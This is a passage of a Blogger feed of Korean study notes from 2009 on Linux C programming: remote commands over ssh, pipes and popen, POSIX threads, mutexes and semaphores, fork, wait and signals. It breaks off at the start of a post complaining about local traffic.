Study&lt;br /&gt;[[[[[프로세스간 통신: 파이프(pipe)]]]]]&lt;br /&gt;&lt;br /&gt;&amp;lt myserver 서버에 id로 로그인 하여 ls명령 실행&gt;&lt;br /&gt;ssh id@myserver ls&lt;br /&gt;&lt;br /&gt;&amp;lt ssh키를 등록해놓았을 때는 id는 생략하고 로그인 절차 없이 바로 실행, ;로 구분하여 여러 명령 실행&gt;&lt;br /&gt;ssh myserver "ls -la;df"&lt;br /&gt;&lt;br /&gt;그러면 여러줄의 명령이나 특정 쉘스크립트,Perl스크립트 등등을 원격서버에 실행 시키면 어떻게 해야 할까? 간단한 쉘명령이야 ;로 나눠서 한 줄에 넣어서 실행하면 되지만 작업이 복잡해지면 그런 형태로는 한계가 있다. 그럴때는 다음과 같은 방법을 쓸 수 있다.&lt;br /&gt;&lt;br /&gt;&amp;lt HEREDOC을 사용하는 방법&gt;&lt;br /&gt;ssh myserver &amp;lt &amp;lt \EOF&lt;br /&gt;ls -la&lt;br /&gt;df&lt;br /&gt;EOF&lt;br /&gt;&lt;br /&gt;&amp;lt 별도의 쉘스크립트를 만들고 원격에 스크립트 해석기를 실행시키고 파이프나 리다이렉션으로 보내는 방법&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;ls -la&lt;br /&gt;df&lt;br /&gt;가 test_script.sh 이라고 하면&lt;br /&gt;&lt;br /&gt;cat test_script.sh | ssh myserver sh&lt;br /&gt;또는&lt;br /&gt;ssh myserver sh &amp;lt  test_script.sh&lt;br /&gt;&lt;br /&gt;&amp;lt Perl 스크립트를 ssh를 통해 실행&gt;&lt;br /&gt;cat perl_script.pl | ssh myserver perl&lt;br /&gt;또는&lt;br /&gt;ssh myserver perl &amp;lt  perl_script.pl &lt;br /&gt;&lt;br /&gt;이것을 기초로 여러 서버에 명령을 내리려면 다음처럼 서버의 리스트를 만들고 리스트에 대해 루프를 돌면서 위의 명령을 서버별로 실행하면 될 것이다.&lt;br /&gt;&lt;br /&gt;&amp;lt 여러 서버에 루프를 돌면서 지정한 스크립트를 실행하는 스크립트&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;SERVERS="&lt;br /&gt;myserver1&lt;br /&gt;myserver2&lt;br /&gt;"&lt;br /&gt;for m in $SERVERS&lt;br /&gt;do&lt;br /&gt;&lt;br /&gt;ssh $m sh &amp;lt  test_script.sh&lt;br /&gt;&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;이렇게 하면 문제는 순차적으로 실행을 하기 때문에 한 서버씩 실행이 끝날 때 까지 기다려야 해서 속도가 늦고 나중에 결과를 보기가 힘들다는 것이다.&lt;br /&gt;&lt;br /&gt;그러면&lt;br /&gt;&lt;br /&gt;ssh $m sh &amp;lt  test_script.sh&lt;br /&gt;줄을 다음과 같이&lt;br /&gt;ssh $m sh &amp;lt  test_script.sh &gt; $m.log &amp;&lt;br /&gt;고치면 각 ssh 명령이 fork되어서 백그라운드로 돌고 각 서버에 대한 결과는 서버이름.log 파일로 남게 된다. ( 작업결과는 *.log 파일들에 대해 grep이나 기타 유틸리티로 일괄적으로 확인 가능할 것이다. )&lt;br /&gt;&lt;br /&gt;발췌 URL: &lt;br /&gt;http://209.85.173.132/search?q=cache:yXBNexjGI0QJ:aero.dnip.net/blog/2008/11/ssh.html+ssh+%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8&amp;cd=11&amp;hl=ko&amp;ct=clnk&amp;gl=kr&amp;client=firefox-a&lt;br /&gt;&lt;br /&gt;파이프(pipe)란 하나의 프로세스로부터 데이터 흐름을 다른 프로세스로 연결&lt;br /&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;FILE *popen(const char *command, const char *open_mode);&lt;br /&gt;&lt;br /&gt;open_mode 멤버: r 출력 읽기, w 출력 보내기(반환값 NULL 실패)&lt;br /&gt;&lt;br /&gt;int pclose(FILE *stream_to_close); =&gt; popen이 종료할 때 까지 기달렸다가 종료시킴&lt;br /&gt;&lt;br /&gt;POPEN 예:&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt string.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; FILE *read_fp;&lt;br /&gt; char buffer[BUFSIZ + 1];&lt;br /&gt; int chars_read;&lt;br /&gt;&lt;br /&gt; memset(buffer, '\0', sizeof(buffer));&lt;br /&gt; read_fp = popen("cat ./popen.c | wc -l", "r");&lt;br /&gt; if(read_fp != NULL)&lt;br /&gt; {&lt;br /&gt;  chars_read=fread(buffer, sizeof(char), BUFSIZ, read_fp);&lt;br /&gt;  while(chars_read &gt; 0)&lt;br /&gt;  {&lt;br /&gt;   buffer[chars_read - 1] = '\0';&lt;br /&gt;   printf("Reading:-\n %s\n", buffer);&lt;br /&gt;   chars_read = fread(buffer, sizeof(char), BUFSIZ, read_fp);&lt;br /&gt;  }&lt;br /&gt;  pclose(read_fp);&lt;br /&gt;  exit(EXIT_SUCCESS);&lt;br /&gt; }&lt;br /&gt; exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과는 &lt;br /&gt;[root@waf cstudy]# ./popen&lt;br /&gt;Reading:-&lt;br /&gt; 27&lt;br /&gt;&lt;br /&gt;저수준의 파이프(pipe) =&gt; 쉘 호출을 사용하지 않음&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int pipe(int file_descriptor[2]);&lt;br /&gt;&lt;br /&gt;pipe 실습 예: 681페이지 참조&lt;br /&gt;&lt;br /&gt;포크와 exec와 pipe 실습 예: 685페이지 참조&lt;br /&gt;&lt;br /&gt;명명된 파이프(named pipe): FIFO 예: 696페이지 참조(CPU 리소스에 가장 효율이 좋다)&lt;br /&gt;&lt;br /&gt;고급 주제: FIFO를 사용하는 클라이언트/서버 예: 703페이지 참조&lt;br /&gt;실제 응용프로그램에서는 sleep를 하지 않음&lt;br /&gt;실제 응용프로그램 DB 클라이언트/서버 예: 712페이지 참조&lt;br /&gt;실제 응용프로그램 DB 검색 예: 720페이지 참조&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-4703017343176111018?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/4703017343176111018/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/14day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4703017343176111018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4703017343176111018'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/14day-study.html' title='14Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3023848847228398886</id><published>2009-03-13T01:11:00.001-07:00</published><updated>2009-03-13T01:11:47.031-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>13Day Study</title><content type='html'>13Day Study&lt;br /&gt;[[[[[POSIX 쓰레드(Thread)]]]]]&lt;br /&gt;Native POSION Thread Library(NPTL)를 사용&lt;br /&gt;&lt;br /&gt;기본값&lt;br /&gt;#include &amp;lt pthread.h&gt;&lt;br /&gt;int pthread_create(pthread_t *thread, pthread_attr_t *attr, void *(*start_routine)(void *), void *arg); =&gt; 스레드 생성&lt;br /&gt;void pthread_exit(void *retval); =&gt; 스레드 종료&lt;br /&gt;int pthread_join(pthread_t th, void **thread_return); =&gt; wait 기능&lt;br /&gt;&lt;br /&gt;스레드 예:&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt pthread.h&gt;&lt;br /&gt;&lt;br /&gt;void *thread_function(void *arg);&lt;br /&gt;char message[] = "Hello World";&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt; int res;&lt;br /&gt; pthread_t a_thread;&lt;br /&gt; void *thread_result;&lt;br /&gt; res=pthread_create(&amp;a_thread, NULL, thread_function, (void *)message);&lt;br /&gt; if(res != 0) {&lt;br /&gt;  perror("Thread creation failed");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; printf("Waiting for thread to finish...\n");&lt;br /&gt; res=pthread_join(a_thread, &amp;thread_result);&lt;br /&gt; if(res != 0) {&lt;br /&gt;  perror("Thread join failed");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; printf("Thread joined, it returned %s\n", (char *)thread_result);&lt;br /&gt; printf("Message is now %s\n",message);&lt;br /&gt; exit(EXIT_SUCCESS);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void *thread_function(void *arg) {&lt;br /&gt; printf("thread_function is running. Argument was %s\n", (char *)arg);&lt;br /&gt; sleep(3);&lt;br /&gt; strcpy(message, "Bye!");&lt;br /&gt; pthread_exit("Thank you for the CPU time");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;[root@waf cstudy]# ./thread&lt;br /&gt;Waiting for thread to finish...&lt;br /&gt;thread_function is running. Argument was Hello World&lt;br /&gt;Thread joined, it returned Thank you for the CPU time&lt;br /&gt;Message is now Bye!&lt;br /&gt;&lt;br /&gt;스레드 최대 갯수 세는 프로그램 예:&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt pthread.h&gt;&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;&lt;br /&gt;unsigned int total=0;&lt;br /&gt;unsigned int threadcount=0;&lt;br /&gt;&lt;br /&gt;pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;&lt;br /&gt;&lt;br /&gt;void update_size( unsigned size) {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void *threadFunc(void *arg) {&lt;br /&gt;  int tnum = (int) arg;&lt;br /&gt;&lt;br /&gt;  // add our thread number to the total&lt;br /&gt;  pthread_mutex_lock(&amp;m);&lt;br /&gt;  total += tnum;&lt;br /&gt;  threadcount--;&lt;br /&gt;  printf("I am thread %d, and I am done!\n",tnum);&lt;br /&gt;  pthread_mutex_unlock(&amp;m);&lt;br /&gt;&lt;br /&gt;  return(NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv) {&lt;br /&gt;  int i,n;&lt;br /&gt;  pthread_t tid;&lt;br /&gt;&lt;br /&gt;  if (argc!=2) {&lt;br /&gt;    fprintf(stderr,"Error - I need the number of threads!\n");&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  n = atoi(argv[1]);&lt;br /&gt;  if (n&amp;lt =0) {&lt;br /&gt;    fprintf(stderr,"Give me a number greater than 0\n");&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  for (i=1;i&amp;lt =n;i++) {&lt;br /&gt;    threadcount++;&lt;br /&gt;    if (pthread_create(&amp;tid,NULL,threadFunc,(void *)i)) {&lt;br /&gt;      fprintf(stderr,"Error creating thread number %d\n",i);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  while (threadcount);&lt;br /&gt;&lt;br /&gt;  printf("total is %d\n",total);&lt;br /&gt;  return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;동기화(synchronization)&lt;br /&gt;뮤텍스와 세마포 둘 다 공유자원의 크리티컬 섹션 문제를 해결하는 방법이다.&lt;br /&gt;뮤텍스는 공유자원에 접근할 수 있는 열쇠라고 보면 된다.&lt;br /&gt;열쇠가 있는 녀석만이 공유자원에 접근할 수 있는 것이다.&lt;br /&gt;이렇게 해서 크리티컬 섹션 문제를 해결한다.&lt;br /&gt;그럼 세마포는?&lt;br /&gt;세마포는 뮤텍스보다 더 범용적으로 쓰일 수 있다. &lt;br /&gt;왜? 세마포는 공유자원의 접근에 대한 한계값(n)을 부여하고&lt;br /&gt;n보다 작으면 프로세스가 공유자원에 접근할 수 있다.&lt;br /&gt;그럼 뮤텍스와 세마포의 차이점은???&lt;br /&gt;세마포를 뮤텍스와 똑같은 기능을 하게 할 수 있다. &lt;br /&gt;그것이 바로 바이너리세마포 이다.&lt;br /&gt;바이너리... 말 그대로 0과 1 둘 밖에 없다.&lt;br /&gt;즉 0이면 못하는 거고 1이면 접근 가능하다.&lt;br /&gt;이러면 세마포와 뮤텍스의 기능이 같아진다.&lt;br /&gt;&lt;br /&gt;#include &amp;lt semaphore.h&gt;&lt;br /&gt;int sem_init(sem_t *sem, int pshared, unsigned int value);&lt;br /&gt;int sem_wait(sem_t *sem);&lt;br /&gt;int sem_post(sem_t *sem);&lt;br /&gt;int sem_destory(sem_t *sem);&lt;br /&gt;&lt;br /&gt;세마포어를 이용하여 쓰레드가 작업을 완료할 때까지 메인 쓰레드가 기다리도록 만들 수 있음&lt;br /&gt;&lt;br /&gt;뮤텍스&lt;br /&gt;#include &amp;lt pthread.h&gt;&lt;br /&gt;pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *mutexattr);&lt;br /&gt;pthread_mutex_lock(pthread_mutex_t *mutex);&lt;br /&gt;pthread_mutex_unlock(pthread_mutex_t *mutex);&lt;br /&gt;pthread_mutex_destroy(pthread_mutex_t *mutex);&lt;br /&gt;&lt;br /&gt;P.S 책이 넘 후졌다... 인터넷으로 따로 공부하자&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3023848847228398886?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3023848847228398886/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/13day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3023848847228398886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3023848847228398886'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/13day-study.html' title='13Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-272441339063344476</id><published>2009-03-12T19:11:00.001-07:00</published><updated>2009-03-12T19:29:38.442-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>또 다른 fork 예</title><content type='html'>fork는 자신과 동일한 자식 프로세스를 하나더 생성하면 생성된 자식프로세스는&lt;br /&gt;자신을 만든 fork문장 다음부터 수행을 시작한다는것을 아시면 될것 같네요..&lt;br /&gt;참고로 A가 B를 fork 했을때 누가 자식이고, 누가 부모인지를 판단하는 기준은&lt;br /&gt;&lt;br /&gt;int pid;&lt;br /&gt;pid = fork();&lt;br /&gt;&lt;br /&gt;위와 같이 반환값을 받아서&lt;br /&gt;pid 값이 0이면 자식 프로세스를 뜻하며&lt;br /&gt;pid 값이 양수의 특정한 값이면 부모프로세스이면서 부모 프로세스는 그 양수의 프로세스 아이디를 갖는 자식 프로세스를 생성하였음을 뜻합니다.&lt;br /&gt;pid 값이 음수라면 fork를 실패해서 자식프로세스를 못만들었다는 뜻&lt;br /&gt;&lt;br /&gt;&lt;a href="http://k.daum.net/qna/view.html?qid=0DfzB" target="blank"&gt;참조&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;또 다른 fork 예:&lt;br /&gt;&lt;br /&gt;[root@waf cstudy]# cat fork2.c&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;int x=8109;&lt;br /&gt;printf("test1:%d\n",x);&lt;br /&gt;fork();&lt;br /&gt;x=x+2;&lt;br /&gt;printf("test2:%d\n",x);&lt;br /&gt;fork();&lt;br /&gt;x=x+3;&lt;br /&gt;printf("test3:%d\n",x);&lt;br /&gt;}&lt;br /&gt;[root@waf cstudy]# ./fork2&lt;br /&gt;test1:8109&lt;br /&gt;test2:8111&lt;br /&gt;test3:8114&lt;br /&gt;test3:8114&lt;br /&gt;test2:8111&lt;br /&gt;test3:8114&lt;br /&gt;test3:8114&lt;br /&gt;&lt;br /&gt;==============================================================================&lt;br /&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt iostream.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;#include &amp;lt sys/wait.h&gt;&lt;br /&gt;&lt;br /&gt;void pfork(int a);&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;        int index=0;&lt;br /&gt;&lt;br /&gt;        pfork(index);&lt;br /&gt;&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void pfork(int a){&lt;br /&gt;        if(a==10) return;&lt;br /&gt;        else if(fork()==0) {&lt;br /&gt;                printf("Child %d\n",a);&lt;br /&gt;                pfork(a+1);&lt;br /&gt;        }&lt;br /&gt;        else {&lt;br /&gt;                wait(0);&lt;br /&gt;                printf("Parent %d \n", a);&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;결과값&lt;br /&gt;Child 0&lt;br /&gt;Child 1&lt;br /&gt;Child 2&lt;br /&gt;Child 3&lt;br /&gt;Child 4&lt;br /&gt;Child 5&lt;br /&gt;Child 6&lt;br /&gt;Child 7&lt;br /&gt;Child 8&lt;br /&gt;Child 9&lt;br /&gt;Parent 9&lt;br /&gt;Parent 8&lt;br /&gt;Parent 7&lt;br /&gt;Parent 6&lt;br /&gt;Parent 5&lt;br /&gt;Parent 4&lt;br /&gt;Parent 3&lt;br /&gt;Parent 2&lt;br /&gt;Parent 1&lt;br /&gt;Parent 0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-272441339063344476?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/272441339063344476/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/fork.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/272441339063344476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/272441339063344476'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/fork.html' title='또 다른 fork 예'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-1843472897078382122</id><published>2009-03-12T18:41:00.001-07:00</published><updated>2009-03-12T18:42:00.061-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>12Day Study</title><content type='html'>12Day Study&lt;br /&gt;[[[[[프로세스와 신호(Process and Signal)]]]]]&lt;br /&gt;&lt;br /&gt;[root@waf ~]# ps -lf&lt;br /&gt;F S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD&lt;br /&gt;4 S root     13443 13441  0  75   0 -  1466 wait   08:21 pts/1    00:00:00 -bash&lt;br /&gt;4 R root     13666 13443  0  76   0 -   543 -      09:31 pts/1    00:00:00 ps -l&lt;br /&gt;&lt;br /&gt;위에서 NI는 nice값이다 프로세서의 우선순위를 말함(높을 수록 높음 기본은 0)&lt;br /&gt;&lt;br /&gt;nice 값 변경:&lt;br /&gt;$nice &amp;lt 프로세스명&gt; &amp;&lt;br /&gt;&lt;br /&gt;nice 값 10으로 재설정:&lt;br /&gt;$renice 10 &amp;lt PID&gt;&lt;br /&gt;&lt;br /&gt;system을 이용한 새 프로세스 시작 예:&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; system("ps -ax");&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;프로세스 이미지 교체하기(따른 PID가 안 생기고 실행됨):&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int execl("bin/ps", "ps", "-ax", 0); =&gt; 반환값(에러 -1), errno 에러변수&lt;br /&gt;&lt;br /&gt;프로세스 이미지 복제하기(fork) =&gt; 반환값(실패 -1), errno 에러변수&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;&lt;br /&gt;pid_t fork(void);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;부모 프로세스에서 fork를 호출하면 새로운 자식 프로세서 PID를 반환하고 자식 프로세스에서 다시 fork를 하면 0을 반환한다&lt;br /&gt;&lt;br /&gt;fork 예제: 608페이지 참조&lt;br /&gt;&lt;br /&gt;프로세스 종료 기달리기(wait 시스템 호출은 부모 프로세스의 자식 프로세스 중 하나가 정지할 때까지 부모 프로세스를 일시 중지시킨다) =&gt; 반환값(정상 0)&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt sys/wait.h&gt;&lt;br /&gt;&lt;br /&gt;pid_t wait(int *stat_log);&lt;br /&gt;&lt;br /&gt;wait 예: 611페이지 참조&lt;br /&gt;&lt;br /&gt;좀비 프로세스(&amp;lt defunct&gt; 또는 &amp;lt zombie&gt;)&lt;br /&gt;&lt;br /&gt;특정 프로세스 종료 기다리기&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt sys/wait.h&gt;&lt;br /&gt;&lt;br /&gt;pid_t waitpid(pid_t pid, int *stat_log, int options); =&gt; 종료하였거나 정지했으면 PID, 에러 -1, 종료안하거나 정지안했으면 0&lt;br /&gt;&lt;br /&gt;입출력 리디렉션 예:&lt;br /&gt;[root@waf cstudy]# cat upper.c&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt ctype.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; int ch;&lt;br /&gt; while((ch=getchar()) != EOF) {&lt;br /&gt;  putchar(toupper(ch));&lt;br /&gt; }&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;[root@waf cstudy]# ./upper&lt;br /&gt;hahaha hohoho&lt;br /&gt;HAHAHA HOHOHO&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;리눅스에서 쓰레드를 프로그래밍하는 것은 여러 프로세스를 사용하는 것 만큼 흔하지 않다. 그 이유는 리눅스 프로세스는 경량이며, 협력하는 여러 프로세스를 프로그래밍하는 것이 쓰레드 프로그래밍보다 쉽기 때문이다&lt;br /&gt;&lt;br /&gt;신호처리 하기 예:&lt;br /&gt;#include &amp;lt signal.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;&lt;br /&gt;void ouch(int sig)&lt;br /&gt;{&lt;br /&gt; printf("OUCH! = I got signal %d\n", sig);&lt;br /&gt; (void) signal(SIGINT, SIG_DEF); =&gt; SIG_DEF 기본 동작으로 복구, SIG_IGN 무시하기&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; (void) signal(SIGINT, ouch);&lt;br /&gt; &lt;br /&gt; while(1) {&lt;br /&gt;  printf("Hello World!\n");&lt;br /&gt;  sleep(1);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$ ./ctrlc&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;^C =&gt; CTRL+C를 누른 시점&lt;br /&gt;OUCH! - I got signal 2&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;Hello World!&lt;br /&gt;^C =&gt; CTRL+C를 누른 시점&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;signal보단 sigaction을 사용을 권한다&lt;br /&gt;&lt;br /&gt;신호 보내기 =&gt; 우리가 아는 kill이긴 하지만 신호를 보낼 때도 이용됨&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt signal.h&gt;&lt;br /&gt;int kill(pid_t pid, int sig); =&gt; 반환값(실패 1)&lt;br /&gt;&lt;br /&gt;알람&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;unsigned int alarm(unsigned int seconds);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;신호를 조심스럽게 프로그램밍해야 한다. 왜냐하면 신호를 사용하는 프로그램에서 발생할 수 있는 "경쟁 조건(race condition)"이 많기 떄문이다. 예를 들어 pause를 호출하여 신호를 기다리고자 할때 pause를 호출하기 전에 신호가 발생하면 프로그램은 일어나지도 않을 이벤트를 무한히 기다리는 수가 생긴다.&lt;br /&gt;&lt;br /&gt;알람 예:&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt signal.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;&lt;br /&gt;static int alarm_fired = 0;&lt;br /&gt;&lt;br /&gt;void ding(int sig)&lt;br /&gt;{&lt;br /&gt; alarm_fired = 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;pid_t pid;&lt;br /&gt;&lt;br /&gt; printf("alarm app starting\n");&lt;br /&gt; pid = fork();&lt;br /&gt; switch(pid) {&lt;br /&gt; case -1:&lt;br /&gt; perror("fork failed");&lt;br /&gt; exit(1);&lt;br /&gt; case 0:&lt;br /&gt; sleep(5); =&gt; 포크한 후에 자식 프로세서 일시정지 5초&lt;br /&gt; kill(getppid(), SIGALRM); =&gt; 부모 프로세스에 SIGALRM 보내기&lt;br /&gt; exit(0);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; printf("waiting for alarm to go off\n");&lt;br /&gt; (void) signal(SIGALRM, ding);&lt;br /&gt; pause(); =&gt; SIGALRM이 올때까지 기달리다가 오면 ding함수 호출&lt;br /&gt; if(alarm_fired) printf("Ding!\n"); =&gt; alarm_fired==1 이면 Ding! 출력&lt;br /&gt; printf("done\n");&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;견고한 신호 프로그래밍&lt;br /&gt;#include &amp;lt signal.h&gt;&lt;br /&gt;int sigaction(int sig, const struct sigaction *act, struct sigaction *oact);&lt;br /&gt;반환값(성공 0, 실패 -1)&lt;br /&gt;&lt;br /&gt;sigaction 예: 627페이지 참조&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-1843472897078382122?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/1843472897078382122/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/12day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1843472897078382122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1843472897078382122'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/12day-study.html' title='12Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5054653877146348549</id><published>2009-03-11T21:20:00.000-07:00</published><updated>2009-03-11T21:30:33.798-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Petition'/><title type='text'>홍제동 차량 정체에 대해서 민원 넣습니다</title><content type='html'>신청일 : 2009.03.10 17:57:52&lt;br /&gt;&lt;br /&gt;제목 : 홍제동 차량 정체에 대해서 민원 넣습니다 &lt;br /&gt;갈현동에서 7시에 출근을 하는데요 &lt;br 